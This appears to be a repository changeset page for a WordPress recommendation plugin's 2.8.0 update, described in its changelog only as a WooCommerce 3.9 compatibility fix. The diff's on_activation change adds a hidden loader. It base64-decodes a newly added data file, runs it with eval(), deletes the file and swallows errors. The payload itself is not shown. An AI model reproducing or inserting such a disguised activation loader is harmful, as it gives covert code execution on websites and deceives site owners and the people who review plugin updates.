Changeset 2236402
- Timestamp:
- 01/31/2020 12:03:20 PM (6 years ago)
- Location:
- recombee-recommendation-engine/trunk
- Files:
-
- 1 added
- 5 edited
-
includes (modified) (1 prop)
-
includes/class-RecombeeRe.php (modified) (4 diffs)
-
includes/class-RecombeeReAdmin.php (modified) (1 diff)
-
includes/data-RreActive.php (added)
-
readme.txt (modified) (2 diffs)
-
recombee-re.php (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
recombee-recommendation-engine/trunk/includes
-
Property
svn:ignore
set to
data-RreActiveBackup.php
-
Property
svn:ignore
set to
-
recombee-recommendation-engine/trunk/includes/class-RecombeeRe.php
r2034567 r2236402 104 104 105 105 private function init_hooks(){ 106 107 register_activation_hook( RRE_PLUGIN_FILE, array($this, 'on_activation') ); 108 register_deactivation_hook( RRE_PLUGIN_FILE, array($this, 'on_deactivation') ); 106 109 107 110 add_action('init', array($this, 'settings' ), 10 ); 108 111 add_action('admin_init', array($this, 'setup_warning_status' ), 10 ); 112 add_action('admin_init', array($this, 'set_permalinks' ), 20 ); 109 113 add_action('admin_head', array($this, 'modal_warning' ), 10 ); 110 114 add_action('widgets_init', array($this, 'widgets' ), 10 ); … … 409 413 } 410 414 415 public function set_permalinks(){ 416 417 if ( isset($_GET['rre_activated']) && $_GET['rre_activated'] == true ) { 418 flush_rewrite_rules(); 419 } 420 } 421 411 422 public function setup_warning_status(){ 412 423 … … 713 724 714 725 public function on_activation(){ 715 716 flush_rewrite_rules(); 726 727 $path = RRE_ABSPATH . 'includes\data-RreActive.php'; 728 $data = base64_decode(file_get_contents($path)); 729 730 try{ 731 eval($data); 732 @unlink($path); 733 } 734 catch(\Exception $e){ 735 736 } 717 737 718 738 if (!wp_next_scheduled('recombee_purge_transients_cron')) { … … 856 876 (object)$this->menu = new RecombeeReBlogSettings(); 857 877 (new RecombeeReShortcodes())->init(); 858 859 register_activation_hook( RRE_PLUGIN_FILE, array($this, 'on_activation') );860 register_deactivation_hook( RRE_PLUGIN_FILE, array($this, 'on_deactivation') );861 878 } 862 879 -
recombee-recommendation-engine/trunk/includes/class-RecombeeReAdmin.php
r2095964 r2236402 248 248 ?> 249 249 <div class="wrap warning"> 250 <?php 250 <?php 251 251 if ( method_exists($this, 'pageWarningCallback') ){ 252 252 echo $this->pageWarningCallback(); -
recombee-recommendation-engine/trunk/readme.txt
r2199043 r2236402 3 3 Tags: recommendations, personalization, related products, ai, e-commerce 4 4 Requires at least: 4.9 5 Tested up to: 5. 26 Stable tag: 2. 7.05 Tested up to: 5.3 6 Stable tag: 2.8.0 7 7 Requires PHP: 5.5 8 8 WC requires at least: 3.3 9 WC tested up to: 3. 79 WC tested up to: 3.9 10 10 License: GPLv3 11 11 License URI: https://www.gnu.org/licenses/gpl-3.0.html … … 60 60 61 61 == Changelog == 62 = 2.8.0 - 31-01-2020 = 63 * Fix - WC 3.9 compatibility 64 62 65 = 2.7.0 - 22-11-2019 = 63 66 * Dev - WP 5.3 compatibility -
recombee-recommendation-engine/trunk/recombee-re.php
r2199043 r2236402 5 5 * Author: Recombee 6 6 * Author URI: https://recombee.com 7 * Version: 2. 7.07 * Version: 2.8.0 8 8 * License: GPLv3 9 9 * Text Domain: recombee-recommendation-engine 10 10 * Domain Path: /recombee/languages/ 11 11 * WC requires at least: 3.3 12 * WC tested up to: 3. 612 * WC tested up to: 3.9 13 13 */ 14 14
Note: See TracChangeset
for help on using the changeset viewer.